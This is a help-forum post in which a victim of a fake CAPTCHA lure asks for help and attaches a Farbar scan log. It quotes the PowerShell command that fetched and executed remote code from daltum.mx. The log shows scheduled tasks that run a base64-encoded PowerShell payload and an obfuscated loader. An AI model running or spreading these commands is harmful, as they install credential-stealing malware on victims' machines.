Jun 5, 2025 Current Resources

May have downloaded Lumma stealer

Late at night, half asleep, I fell for one of those fake "Verify you are human" scams. However, I realized quite quickly that I did something stupid because it asked me to paste something at a command prompt. I was able to retrace my steps and found this was what was executed:

PowerShell - w h "curl daltum.mx/xm.txt|iex"

I shut down my computer and disconnected it from the internet. I googled the site and found it may be hosting a Lumma stealer. I got a techie to look at the computer but he found nothing. I'm not 100% confident in his abilities. I would like a second opinion.

My possibly infected computer remains disconnected from the internet to this day -- I don't want to hook it back up until I am confident it's clean, so please don't ask me to run Malwarebytes or anything that requires a connection. I can download small apps from my uninfected laptop and transfer them to the PC.

Scan result of Farbar Recovery Scan Tool (FRST) (x64) Version: 01-06-2025
Ran by Muddy (administrator) on GOOFBALL (Gigabyte Technology Co., Ltd. AB350-Gaming) (04-06-2025 14:51:56)
Running from C:\Users\Muddy\Desktop\FRST64.exe
Loaded Profiles: Muddy
Platform: Microsoft Windows 10 Home Version 22H2 19045.5737 (X64) Language: English (United States)
Default browser: FF
Boot Mode: Normal

==================== Processes (Whitelisted) =================

(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)

(Adobe Inc. -> Adobe Inc.) C:\Program Files\Adobe\Acrobat DC\Acrobat\Adobe Crash Processor.exe
(Adobe Inc. -> Adobe Inc.) C:\Program Files\Adobe\Adobe Creative Cloud\ACC\Creative Cloud.exe
(C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ADS\Adobe Desktop Service.exe ->) (Adobe Inc. -> ) C:\Program Files (x86)\Adobe\Adobe Sync\CoreSync\CoreSync.exe
(C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ADS\Adobe Desktop Service.exe ->) (Adobe Inc. -> Adobe Inc.) C:\Program Files\Adobe\Adobe Creative Cloud\ACC\Creative Cloud Helper.exe
(C:\Program Files (x86)\Sync\sync-taskbar.exe ->) (Sync.com Inc. -> ) C:\Program Files (x86)\Sync\sync-worker.exe <3>
(C:\Program Files\Adobe\Adobe Creative Cloud Experience\CCXProcess.exe ->) (OpenJS Foundation -> Node.js) C:\Program Files\Adobe\Adobe Creative Cloud Experience\libs\node.exe
(C:\Program Files\Adobe\Adobe Creative Cloud Experience\libs\node.exe ->) (Adobe Inc. -> Adobe Inc.) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\IPCBox\AdobeIPCBroker.exe
(C:\Program Files\Adobe\Adobe Creative Cloud\ACC\Creative Cloud.exe ->) (Adobe Inc. -> Adobe Inc.) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ADS\Adobe Desktop Service.exe
(C:\Program Files\Adobe\Adobe Creative Cloud\ACC\Creative Cloud.exe ->) (Adobe Inc. -> Adobe Inc.) C:\Program Files\Common Files\Adobe\Adobe Desktop Common\HEX\Creative Cloud UI Helper.exe <4>
(conhost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
(DriverStore\FileRepository\u0381941.inf_amd64_e1aaf87b06e2b6d9\B380668\atiesrxx.exe ->) (Advanced Micro Devices Inc. -> AMD) C:\Windows\System32\DriverStore\FileRepository\u0381941.inf_amd64_e1aaf87b06e2b6d9\B380668\atieclxx.exe
(explorer.exe ->) (Adobe Inc. -> Adobe Inc.) C:\Program Files\Adobe\Adobe Creative Cloud Experience\CCXProcess.exe
(explorer.exe ->) (Adobe Inc. -> Adobe Systems Incorporated) C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe <2>
(explorer.exe ->) (Developer ID Application: TRIMATECH OU (LK9S62EK7N) -> Maigo Erit) [File not signed] C:\Program Files\Tockler\Tockler.exe <6>
(explorer.exe ->) (Intuit, Inc. -> Intuit Canada ULC.) C:\Program Files (x86)\Common Files\Intuit\QuickBooks\QBUpdate\qbupdate.exe
(explorer.exe ->) (Sync.com Inc. -> Sync.com Inc.) C:\Program Files (x86)\Sync\sync-taskbar.exe
(services.exe ->) (Advanced Micro Devices Inc. -> Advanced Micro Devices, Inc.) C:\Windows\System32\amdfendrsr.exe
(services.exe ->) (Advanced Micro Devices Inc. -> AMD) C:\Windows\System32\DriverStore\FileRepository\u0381941.inf_amd64_e1aaf87b06e2b6d9\B380668\atiesrxx.exe
(services.exe ->) (Microsoft Corporation -> Microsoft Corporation) C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe
(services.exe ->) (Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25030.2-0\MpDefenderCoreService.exe
(services.exe ->) (Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25030.2-0\MsMpEng.exe
(services.exe ->) (Microsoft Windows Publisher -> Microsoft Corporation) C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25030.2-0\NisSrv.exe
(services.exe ->) (Realtek Semiconductor Corp. -> Realtek Semiconductor) C:\Windows\System32\RtkAudUService64.exe <2>
(services.exe ->) (Sanford, L.P. -> Sanford, L.P.) C:\Program Files (x86)\DYMO\DYMO Label Software\DymoPnpService.exe
(sihost.exe ->) (Microsoft Corporation -> Microsoft Corporation) C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_11.2502.2.0_x64__8wekyb3d8bbwe\CalculatorApp.exe
(svchost.exe ->) (Adobe Inc. -> Adobe Inc.) C:\Program Files\WindowsApps\AdobeNotificationClient_6.0.0.1_x86__enpm4xejd91yc\AdobeNotificationClient.exe
(svchost.exe ->) (Adobe Systems Incorporated -> ) C:\Program Files\WindowsApps\AcrobatNotificationClient_1.0.4.0_x86__e1rzdqpraam7r\AcrobatNotificationClient.exe
(svchost.exe ->) (Microsoft Corporation -> Microsoft Corporation) C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
(svchost.exe ->) (Microsoft Corporation -> Microsoft) C:\Program Files\WindowsApps\Microsoft.ZuneMusic_11.2503.5.0_x64__8wekyb3d8bbwe\Microsoft.Media.Player.exe
(svchost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Windows\ImmersiveControlPanel\SystemSettings.exe
(svchost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\dllhost.exe <2>
(svchost.exe ->) (Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\smartscreen.exe

==================== Registry (Whitelisted) ===================

(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)

HKLM\...\Run: [RtkAudUService] => C:\WINDOWS\System32\RtkAudUService64.exe [856288 2019-10-30] (Realtek Semiconductor Corp. -> Realtek Semiconductor)
HKLM\...\Run: [AdobeGCInvoker-1.0] => C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGCInvokerUtility.exe [10752424 2025-01-14] (Adobe Inc. -> Adobe Systems, Incorporated)
HKLM\...\Run: [AdobeAAMUpdater-1.0] => C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe [509936 2018-04-11] (Adobe Systems Incorporated -> Adobe Systems Incorporated)
HKLM-x32\...\Run: [Adobe CCXProcess] => C:\Program Files (x86)\Adobe\Adobe Creative Cloud Experience\CCXProcess.exe [133128 2024-06-02] (Adobe Inc. -> Adobe Inc.)
HKLM-x32\...\Run: [DLSService] => "C:\Program Files (x86)\DYMO\DYMO Label Software\DLSService.exe" (No File)
HKLM-x32\...\Run: [Adobe Creative Cloud] => C:\Program Files\Adobe\Adobe Creative Cloud\ACC\Creative Cloud.exe [1145256 2025-04-22] (Adobe Inc. -> Adobe Inc.)
HKU\S-1-5-19\...\Run: [GoogleDriveFS] => C:\Program Files\Google\Drive File Stream\107.0.3.0\GoogleDriveFS.exe [65821280 2025-04-23] (Google LLC -> Google LLC.)
HKU\S-1-5-20\...\Run: [GoogleDriveFS] => C:\Program Files\Google\Drive File Stream\107.0.3.0\GoogleDriveFS.exe [65821280 2025-04-23] (Google LLC -> Google LLC.)
HKU\S-1-5-21-1201572675-2348253938-1805802479-1003\...\Run: [CCXProcess] => C:\Program Files\Adobe\Adobe Creative Cloud Experience\CCXProcess.exe [194048 2025-04-22] (Adobe Inc. -> Adobe Inc.)
HKU\S-1-5-21-1201572675-2348253938-1805802479-1003\...\Run: [GoogleDriveFS] => C:\Program Files\Google\Drive File Stream\107.0.3.0\GoogleDriveFS.exe [65821280 2025-04-23] (Google LLC -> Google LLC.)
HKU\S-1-5-21-1201572675-2348253938-1805802479-1003\...\Run: [C:\Program Files\Tockler\Tockler.exe] => C:\Program Files\Tockler\Tockler.exe [139942216 2022-02-01] (Developer ID Application: TRIMATECH OU (LK9S62EK7N) -> Maigo Erit) [File not signed]
HKU\S-1-5-21-1201572675-2348253938-1805802479-1003\...\Run: [MicrosoftEdgeAutoLaunch_0629CC5B638B77F9D9C7901FB1AC6543] => "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start [4419624 2025-04-24] (Microsoft Corporation -> Microsoft Corporation)
HKU\S-1-5-21-1201572675-2348253938-1805802479-1003\...\Run: [DymoQuickPrint] => C:\Program Files (x86)\DYMO\DYMO Label Software\DymoQuickPrint.exe [1867056 2014-02-03] (Sanford, L.P. -> Sanford, L.P.)
HKU\S-1-5-21-1201572675-2348253938-1805802479-1003\...\Run: [Adobe Acrobat Synchronizer] => C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe [12307864 2025-03-13] (Adobe Inc. -> Adobe Systems Incorporated)
HKU\S-1-5-21-1201572675-2348253938-1805802479-1003\...\MountPoints2: {acc36cdb-18ca-11ec-ab3a-e0d55e697f14} - "F:\LaunchU3.exe" -a
HKU\S-1-5-21-1201572675-2348253938-1805802479-1003\...\MountPoints2: {f23a65aa-b3a0-11eb-ab16-e0d55e697f14} - "F:\LaunchU3.exe" -a
HKU\S-1-5-18\...\Run: [GoogleDriveFS] => C:\Program Files\Google\Drive File Stream\107.0.3.0\GoogleDriveFS.exe [65821280 2025-04-23] (Google LLC -> Google LLC.)
HKLM\...\Print\Monitors\Adobe PDF Port Monitor: C:\WINDOWS\system32\AdobePDF.dll [203936 2023-12-08] (Adobe Inc. -> Adobe Systems Inc)
HKLM\...\Print\Monitors\CPCA Language Monitor3: C:\WINDOWS\system32\CNAS0MMK.DLL [66048 2007-04-19] (Microsoft Windows Hardware Compatibility Publisher -> Canon Inc.)
HKLM\...\Print\Monitors\DYMO LabelWriter Monitor: C:\WINDOWS\system32\LW400MON.DLL [16384 2013-03-04] (Microsoft Windows Hardware Compatibility Publisher -> DYMO Corp.)
HKLM\Software\Microsoft\Active Setup\Installed Components: [{8A69D345-D564-463c-AFF1-A69D9E530F96}] -> C:\Program Files\Google\Chrome\Application\135.0.7049.115\Installer\chrmstp.exe [2025-04-24] (Google LLC -> Google LLC)
Startup: C:\Users\Muddy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Adobe Gamma.lnk [2018-11-03]
ShortcutTarget: Adobe Gamma.lnk -> C:\Program Files (x86)\Common Files\Adobe\Calibration\Adobe Gamma Loader.exe (Adobe Systems, Inc.) [File not signed]
Startup: C:\Users\Muddy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Sync.lnk [2025-03-17]
ShortcutTarget: Sync.lnk -> C:\Program Files (x86)\Sync\sync-taskbar.exe (Sync.com Inc. -> Sync.com Inc.)
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\QuickBooks Update Agent.lnk [2021-07-29]
ShortcutTarget: QuickBooks Update Agent.lnk -> C:\Program Files (x86)\Common Files\Intuit\QuickBooks\QBUpdate\qbupdate.exe (Intuit, Inc. -> Intuit Canada ULC.)
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\QuickBooks_Standard_21.lnk [2021-07-29]
ShortcutTarget: QuickBooks_Standard_21.lnk -> C:\Program Files (x86)\Intuit\QuickBooks 2019\QBW32.EXE (Intuit, Inc. -> Intuit Canada ULC.)

==================== Scheduled Tasks (Whitelisted) =================

(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)

Task: {B4216668-2D91-4A4C-A73B-D58140D97F30} - System32\Tasks\Adobe Acrobat Update Task => C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe [1580992 2025-03-21] (Adobe Inc. -> Adobe Inc.)
Task: {312AC7CD-1B2A-4EB1-AF1E-B405FD17249F} - System32\Tasks\Adobe Flash Player NPAPI Notifier => C:\Windows\SysWOW64\Macromed\Flash\FlashUtil32_32_0_0_403_Plugin.exe [1475640 2020-07-19] (Adobe Inc. -> Adobe)
Task: {9BD70475-A043-4A00-BC3C-F783F4130B01} - System32\Tasks\AdobeGCInvoker-1.0 => C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGCInvokerUtility.exe [10752424 2025-01-14] (Adobe Inc. -> Adobe Systems, Incorporated)
Task: {0B87BE7F-C17C-4640-AA0B-2E70C96519A7} - System32\Tasks\Adobe-Genuine-Software-Integrity-Scheduler-1.0 => C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe [11065256 2025-01-14] (Adobe Inc. -> Adobe Systems, Incorporated)
Task: {83989168-F4C8-48E7-844F-D8B62714D87B} - System32\Tasks\AupAvUpdate => C:\Program Files (x86)\Innovative Solutions\Advanced Uninstaller PRO\updAvTask.exe (No File)
Task: {D5156720-B0E7-4C76-A093-CBBC7148731A} - System32\Tasks\Google_Maintenance_Worker => C:\WINDOWS\system32\conhost.exe [867840 2024-12-12] (Microsoft Windows -> Microsoft Corporation) -> --headless powershell -e QQBkAGQALQBUAHkAcABlACAAIABAACIACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwAKAAoAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABXAGkAbgBJAG4AZQB0ACAAewAKACAAIAAgACAAWwBEAGwAbABJAG0AcABvAHIAdAA (the data entry has 1581 more characters). <==== ATTENTION
Task: {6F795B7E-66A6-4250-BD4C-42F04087DCFF} - System32\Tasks\GoogleSystem\GoogleUpdater\GoogleUpdaterTaskSystem137.0.7129.0{B57B9467-B734-45D5-81F5-C38FABC1DA68} => C:\Program Files (x86)\Google\GoogleUpdater\137.0.7129.0\updater.exe [7375968 2025-04-17] (Google LLC -> Google LLC)
Task: {78DECE8E-375F-4BE8-84F3-6955C79FF7A1} - System32\Tasks\Launch Adobe CCXProcess => C:\Program Files\Adobe\Adobe Creative Cloud Experience\CCXProcess.exe [194048 2025-04-22] (Adobe Inc. -> Adobe Inc.)
Task: {3E7FD89D-419E-4F98-98B7-E5A5790E9253} - System32\Tasks\Microsoft\Office\Office Apps Prewarm => C:\Program Files\Microsoft Office\root\Office16\sdxhelper.exe [315600 2025-04-21] (Microsoft Corporation -> Microsoft Corporation)
Task: {08DF3BB9-B46D-4BB4-A9F5-CF05B6DF860C} - System32\Tasks\Microsoft\Office\Office Apps Prewarm Recurring => C:\Program Files\Microsoft Office\root\Office16\sdxhelper.exe [315600 2025-04-21] (Microsoft Corporation -> Microsoft Corporation)
Task: {EB7EFD8C-1338-42A5-A800-E4F13DCCC546} - System32\Tasks\Microsoft\Office\Office Automatic Updates 2.0 => C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe [29107976 2025-04-17] (Microsoft Corporation -> Microsoft Corporation)
Task: {37F7C1DF-4FB5-4FAD-8F5A-5959F6A674E6} - System32\Tasks\Microsoft\Office\Office Background Push Maintenance => C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonx64\Microsoft Shared\OFFICE16\opushutil.exe [68360 2025-04-21] (Microsoft Corporation -> Microsoft Corporation)
Task: {0D423FA2-C7DB-432C-A81A-B53B03FAAE21} - System32\Tasks\Microsoft\Office\Office ClickToRun Service Monitor => C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe [29107976 2025-04-17] (Microsoft Corporation -> Microsoft Corporation)
Task: {8A3BBE22-4E9D-4A6B-8712-B3585CAFAF5C} - System32\Tasks\Microsoft\Office\Office Feature Updates => C:\Program Files\Microsoft Office\root\Office16\sdxhelper.exe [315600 2025-04-21] (Microsoft Corporation -> Microsoft Corporation)
Task: {8C304A30-C781-4E01-8560-1BCB1EC6961C} - System32\Tasks\Microsoft\Office\Office Feature Updates Logon => C:\Program Files\Microsoft Office\root\Office16\sdxhelper.exe [315600 2025-04-21] (Microsoft Corporation -> Microsoft Corporation)
Task: {36C2AC9B-AC84-4E3E-8CFB-3BA0F4D08417} - System32\Tasks\Microsoft\Office\Office Performance Monitor => C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\operfmon.exe [204400 2025-04-04] (Microsoft Corporation -> Microsoft Corporation)
Task: {E083B26A-5937-49B9-9578-16C7805B38CA} - System32\Tasks\Microsoft\Office\Office Subscription Maintenance => C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonx64\Microsoft Shared\OFFICE16\OLicenseHeartbeat.exe [92400 2025-04-21] (Microsoft Corporation -> Microsoft Corporation)
Task: {F0A5567E-9EEC-404A-89B1-3D7D7AD6F804} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance => C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25030.2-0\MpCmdRun.exe [1745176 2025-04-10] (Microsoft Windows Publisher -> Microsoft Corporation)
Task: {A50DBCFB-6E15-42CC-A59C-0214AE85EC77} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Cleanup => C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25030.2-0\MpCmdRun.exe [1745176 2025-04-10] (Microsoft Windows Publisher -> Microsoft Corporation)
Task: {4FDC6E52-9190-448A-B6D6-D4B53531B605} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan => C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25030.2-0\MpCmdRun.exe [1745176 2025-04-10] (Microsoft Windows Publisher -> Microsoft Corporation)
Task: {6A6F20DD-5F1D-4107-8424-0CE4A2A87F3F} - System32\Tasks\Microsoft\Windows\Windows Defender\Windows Defender Verification => C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25030.2-0\MpCmdRun.exe [1745176 2025-04-10] (Microsoft Windows Publisher -> Microsoft Corporation)
Task: {8B281399-1B82-4E76-BEF0-0FD1C49F14D0} - System32\Tasks\Microsoft_Hardware_Launch_ipoint_exe => C:\Program Files\Microsoft Mouse and Keyboard Center\ipoint.exe (No File)
Task: {5D34D5BD-D047-4425-9073-4266E2E576BC} - System32\Tasks\Microsoft_Hardware_Launch_itype_exe => C:\Program Files\Microsoft Mouse and Keyboard Center\itype.exe (No File)
Task: {E8350A1C-650C-4B68-88C3-51A9951F1A89} - System32\Tasks\Microsoft_Hardware_Launch_mousekeyboardcenter_exe => C:\Program Files\Microsoft Mouse and Keyboard Center\mousekeyboardcenter.exe (No File)
Task: {876E153F-23C4-4835-93CC-78881180352B} - System32\Tasks\Mozilla\Firefox Background Update 308046B0AF4A39CB => C:\Program Files\Mozilla Firefox\firefox.exe [695360 2025-04-15] (Mozilla Corporation -> Mozilla Corporation) -> C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\--MOZ_LOG sync,prependheader,timestamp,append,maxsize:1,Dump:5 --MOZ_LOG_FILE C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\backgroundupdate.moz_log --backgroundtask background (the data entry has 6 more characters).
Task: {B50AAB3A-4BDC-4BD8-BE7F-56D87B313B5C} - System32\Tasks\Mozilla\Firefox Background Update S-1-5-21-1201572675-2348253938-1805802479-1003 308046B0AF4A39CB => C:\Program Files\Mozilla Firefox\firefox.exe [695360 2025-04-15] (Mozilla Corporation -> Mozilla Corporation) -> C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\--MOZ_LOG sync,prependheader,timestamp,append,maxsize:1,Dump:5 --MOZ_LOG_FILE C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\backgroundupdate.moz_log --backgroundtask background (the data entry has 6 more characters).
Task: {719343D9-9003-41FA-8678-9FEBE00D0B5A} - System32\Tasks\Mozilla\Firefox Default Browser Agent 308046B0AF4A39CB => C:\Program Files\Mozilla Firefox\default-browser-agent.exe [34880 2025-04-15] (Mozilla Corporation -> Mozilla Foundation)
Task: {6836E372-DBFD-4762-8996-BA4857DC2FFE} - System32\Tasks\OneDrive Standalone Update Task-S-1-5-21-1201572675-2348253938-1805802479-500 => %localappdata%\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe (No File) <==== ATTENTION
Task: {DCADF6C1-C4FC-478B-9FF1-263459CFA43E} - System32\Tasks\Opera scheduled assistant Autoupdate 1580103801 => C:\Users\Muddy\AppData\Local\Programs\Opera\launcher.exe -> --scheduledautoupdate --component-name=assistant --component-path="C:\Users\Muddy\AppData\Local\Programs\Opera\assistant" $(Arg0)
Task: {9CC54350-E273-4811-B6CF-E05FBFE0CEDB} - System32\Tasks\Opera scheduled Autoupdate 1564642012 => C:\Users\Muddy\AppData\Local\Programs\Opera\launcher.exe --scheduledautoupdate $(Arg0) (No File)
Task: {2320C900-FDEC-4A15-AA33-2A567D2C08D2} - System32\Tasks\Optimize Push Notification Data File-S-1-5-21-1201572675-2348253938-1805802479-1003 => {201600D8-6EFF-48CE-B842-E14D37A0682D} C:\WINDOWS\System32\wpninprc.dll [24064 2019-12-07] (Microsoft Windows -> Microsoft Corporation)
Task: {5746BB15-ED2D-474A-9DA9-781B4B2FD766} - System32\Tasks\QBScheduledReport => C:\Program Files (x86)\Common Files\Intuit\QuickBooks\ScheduledReports\ScheduledReports.Scheduler.exe [382672 2022-03-31] (Intuit, Inc. -> Intuit Inc.)
Task: {51ACDF12-954E-4A50-BBAA-A5008DEA79F3} - System32\Tasks\Remove-SmbShare => C:\WINDOWS\system32\conhost.exe [867840 2024-12-12] (Microsoft Windows -> Microsoft Corporation) -> --headless powershell set-alias LbXnOYhQ gc;.(-join (0..16| ForEach-Object {[char]([int]('1351721801731691631071631' + '82174176163177177167173172').Substring($($_ * 3), 3) - 62)}))(LbXnOYhQ 'C:\Users\Muddy\AppData\Local\Microsoft\Speech\Remove-SmbShare.log' -raw) <==== ATTENTION
Task: {C9D329CD-F69B-4F4D-9FFB-9C087AD5CB10} - System32\Tasks\UninstallMonitor => C:\Program Files (x86)\Innovative Solutions\Advanced Uninstaller PRO\uninstaller.exe [18748928 2016-06-09] (Innovative Solutions Grup SRL -> Innovative Solutions GRUP SRL) -> C:\Program Files (x86)\Innovative Solutions\Advanced Uninstaller PRO\\-AUSCAN
Task: {7597B587-B7F2-4CD2-B889-E7E241775BD2} - System32\Tasks\ZoomUpdateTaskUser-S-1-5-21-1201572675-2348253938-1805802479-1003 => C:\Users\Muddy\AppData\Roaming\Zoom\bin\Zoom.exe [434488 2025-03-07] (Zoom Video Communications, Inc. -> Zoom Communications, Inc.)

(If an entry is included in the fixlist, the task (.job) file will be moved. The file which is running by the task will not be moved.)

Task: C:\WINDOWS\Tasks\AupAvUpdate.job => C:\Program Files (x86)\Innovative Solutions\Advanced Uninstaller PRO\updAvTask.exe
Task: C:\WINDOWS\Tasks\CreateExplorerShellUnelevatedTask.job => C:\WINDOWS\explorer.exe
Task: C:\WINDOWS\Tasks\UninstallMonitor.job => C:\Program Files (x86)\Innovative Solutions\Advanced Uninstaller PRO\uninstaller.exe

==================== Internet (Whitelisted) ====================

(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)

ProxyServer: [S-1-5-21-1201572675-2348253938-1805802479-1003] => https=localhost:16103
Winsock: Catalog5 08 C:\Program Files (x86)\Bonjour\mdnsNSP.dll [152864 2010-05-18] (Apple Inc. -> Apple Inc.)
Winsock: Catalog5-x64 08 C:\Program Files\Bonjour\mdnsNSP.dll [193824 2010-05-18] (Apple Inc. -> Apple Inc.)
Tcpip\Parameters: [DhcpNameServer] 192.168.1.254 75.153.171.124
Tcpip\..\Interfaces\{a1f6b400-ec2e-4578-abd4-1fdef2cef18d}: [NameServer] 8.8.8.8,8.8.4.4
Tcpip\..\Interfaces\{b2f25b69-e535-4267-b225-302da54f5299}: [DhcpNameServer] 192.168.1.254 75.153.171.124

Edge:
=======
Edge Profile: C:\Users\Muddy\AppData\Local\Microsoft\Edge\User Data\Default [2025-04-30]
Edge DownloadDir: Default -> C:\Users\Muddy\Downloads
Edge Extension: (Google Docs Offline) - C:\Users\Muddy\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2025-03-25]
Edge Extension: (Malwarebytes Browser Guard) - C:\Users\Muddy\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ihcjicgdanjaechkgeegckofjjedodee [2025-04-29]
Edge Extension: (Edge relevant text changes) - C:\Users\Muddy\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha [2024-02-05]
Edge HKLM-x32\...\Edge\Extension: [ihcjicgdanjaechkgeegckofjjedodee]

FireFox:
========
FF DefaultProfile: qpvncp08.default
FF ProfilePath: C:\Users\Muddy\AppData\Roaming\Mozilla\Firefox\Profiles\qpvncp08.default [2025-06-04]
FF DownloadDir: D:\1 Downloads
FF Notifications: Mozilla\Firefox\Profiles\qpvncp08.default -> hxxps://tickets-center.com; hxxps://my.questrade.com; hxxps://mail.protonmail.com; hxxps://www.online-convert.com; hxxps://trading.questrade.com; hxxps://www.wsj.com; hxxps://myportal.questrade.com; hxxps://www.facebook.com; hxxps://chrconnect.telushealth.com
FF Extension: (Print Friendly & PDF) - C:\Users\Muddy\AppData\Roaming\Mozilla\Firefox\Profiles\qpvncp08.default\Extensions\jid0-YQz0l1jthOIz179ehuitYAOdBEs@jetpack.xpi [2022-05-27]
FF Extension: (Bypass Paywalls Clean) - C:\Users\Muddy\AppData\Roaming\Mozilla\Firefox\Profiles\qpvncp08.default\Extensions\magnolia@12.34.xpi [2023-11-26] [UpdateUrl:hxxps://gitlab.com/magnolia1234/bypass-paywalls-firefox-clean/-/raw/master/updates.json]
FF Extension: (LastPass) - C:\Users\Muddy\AppData\Roaming\Mozilla\Firefox\Profiles\qpvncp08.default\Extensions\support@lastpass.com.xpi [2025-04-10]
FF Extension: (Malwarebytes Browser Guard) - C:\Users\Muddy\AppData\Roaming\Mozilla\Firefox\Profiles\qpvncp08.default\Extensions\{242af0bb-db11-4734-b7a0-61cb8a9b20fb}.xpi [2024-06-19]
FF Extension: (Feedbro) - C:\Users\Muddy\AppData\Roaming\Mozilla\Firefox\Profiles\qpvncp08.default\Extensions\{a9c2ad37-e940-4892-8dce-cd73c6cbbc0c}.xpi [2024-03-27]
FF Extension: (Bypass Paywalls Clean) - C:\Users\Muddy\AppData\Roaming\Mozilla\Firefox\Profiles\qpvncp08.default\Extensions\{d133e097-46d9-4ecc-9903-fa6a722a6e0e}.xpi [2022-07-04]
FF HKLM\...\Firefox\Extensions: [light_plugin_7571494CE0B94E11BB762B659A4AD71F@kaspersky.com] - C:\Program Files (x86)\Kaspersky Lab\Kaspersky Free 21.3\FFExt\light_plugin_firefox\addon.xpi => not found
FF HKLM\...\Firefox\Extensions: [web2pdfextension.17@acrobat.adobe.com] - C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCFirefoxExtn\WebExtn\signed_extn\adobe_acrobat-1.0-windows.xpi
FF Extension: (Adobe Acrobat) - C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCFirefoxExtn\WebExtn\signed_extn\adobe_acrobat-1.0-windows.xpi [2021-02-02]
FF HKLM-x32\...\Firefox\Extensions: [light_plugin_7571494CE0B94E11BB762B659A4AD71F@kaspersky.com] - C:\Program Files (x86)\Kaspersky Lab\Kaspersky Free 21.3\FFExt\light_plugin_firefox\addon.xpi => not found
FF HKLM-x32\...\Firefox\Extensions: [web2pdfextension.17@acrobat.adobe.com] - C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCFirefoxExtn\WebExtn\signed_extn\adobe_acrobat-1.0-windows.xpi
FF Plugin: @adobe.com/FlashPlayer -> C:\WINDOWS\system32\Macromed\Flash\NPSWF64_32_0_0_403.dll [2020-07-19] (Adobe Inc. -> )
FF Plugin: @microsoft.com/SharePoint,version=14.0 -> C:\Program Files\Microsoft Office\root\Office16\NPSPWRAP.DLL [2025-04-04] (Microsoft Corporation -> Microsoft Corporation)
FF Plugin: Adobe Acrobat -> C:\Program Files\Adobe\Acrobat DC\Acrobat\Air\nppdf32.dll [2025-03-13] (Adobe Inc. -> Adobe Systems Inc.)
FF Plugin: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Adobe\Adobe Creative Cloud\Utils\npAdobeAAMDetect64.dll [2025-04-22] (Adobe Inc. -> Adobe Systems)
FF Plugin-x32: @adobe.com/FlashPlayer -> C:\WINDOWS\SysWOW64\Macromed\Flash\NPSWF32_32_0_0_403.dll [2020-07-19] (Adobe Inc. -> )
FF Plugin-x32: @dymo.com/DymoLabelFramework -> C:\Program Files (x86)\DYMO\DYMO Label Software\Framework\npDYMOLabelFramework.dll [2014-02-03] (Sanford, L.P. -> Sanford L.P.)
